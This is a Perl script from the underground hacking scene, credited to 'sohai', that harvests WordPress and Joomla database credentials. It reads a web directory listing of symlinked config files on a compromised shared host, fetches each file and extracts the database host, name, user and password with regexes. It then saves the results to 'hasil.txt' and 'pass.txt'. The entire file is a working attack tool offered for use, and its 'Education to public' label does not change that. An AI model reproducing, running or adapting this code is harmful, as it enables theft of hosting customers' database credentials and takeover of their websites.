#!/usr/bin/perl
#~--------------------------------------------------------------------------------------------~
#Title : Config symlink graber joomla & wordpress v1.0
#Coder : sohai | YM: sohainewbie
#Status: Open source |Education to public
#Greetz : array , cobra , claudea , alexs , blacker , up ,rusuh ,mydisha and All
# Xcrew | Hacker-Newbie | DevilCode | All forum Undergound
#~--------------------------------------------------------------------------------------------~
use HTTP::Request;
use LWP::UserAgent;
my $tulis = "hasil.txt"; #catat logs
my $tulispass = "pass.txt"; #catat logspass
for($i=0;$i<45;$i++){print ("-");}
print ("\nConfig symlink graber joomla & wordpress v1.0\n");
print ("Coder  : sohai\n");
for($i=0;$i<45;$i++){print ("-");}
print "\nInput websymlink : "; #ex : http://target.com/dir/
$url =<stdin>;
chomp $url;
my $get_web = &Get($url);
my $count = @{[ $get_web =~ /TXT/g ]};
print "Total data : ".$count."\n";
my @hasil = ();
@hasil = ($get_web =~ m/<img\s+src="\/icons\/text\.gif"\s+alt="\[TXT\]">\s+<a href="(.*)">/g);
foreach (@hasil){
    $domain = $url.$_;
	my $grab_config = &Get($domain);
	if ($grab_config =~ m/DB_NAME/i){
        print $domain."\n";
		if ($grab_config =~ m/'DB_NAME', '(.*)'/g) {$db_name = $1;}
		if ($grab_config =~ m/'DB_USER', '(.*)'/g) {$db_user = $1;}
		if ($grab_config =~ m/'DB_PASSWORD', '(.*)'/g) {$db_pass = $1;}
		if ($grab_config =~ m/'DB_HOST', '(.*)'/g) {$db_host = $1;}
		$Dblogs = $no.".[wordpress]DB_HOST=".$db_host." | DB_Name=".$db_name." | DB_USER=".$db_user." | DB_PASS=".$db_pass."\n";
		$Passlogs = $db_pass."\n";
		print $Dblogs;
    }
	if ($grab_config =~ m/joomla/i){
	    print $domain."\n";
		if ($grab_config =~ m/db = '(.*)';/g) {$db_name = $1;}
		if ($grab_config =~ m/password = '(.*)';/g) {$db_pass = $1;}
		if ($grab_config =~ m/host = '(.*)';'/g) {$db_host = $1;}
		if($grab_config =~ m/mosConfig_user/i){
		    if($grab_config =~ m/mosConfig_user = '(.*)';/g) {$db_user = $1;}		
		}
		if($grab_config =~ m/user = '/i){
		    if($grab_config =~ m/var $user = '(.*)';/g) {$db_user = $1;}	
		}
		$Dblogs = $no.".[joomla]DB_HOST=".$db_host." | DB_Name=".$db_name." | DB_USER=".$db_user." | DB_PASS=".$db_pass."\n";
		$Passlogs = $db_pass."\n";
		print $Dblogs;
	}
	open(LOG,">>$tulis");
	print LOG $Dblogs;
	open(LOG,">>$tulispass");
	print LOG $Passlogs;
	close(LOG);
	$no++;
}

sub Get() {
    my $url = $_[0];
    my $ua = LWP::UserAgent->new(agent => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6");
    $ua->timeout(10);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}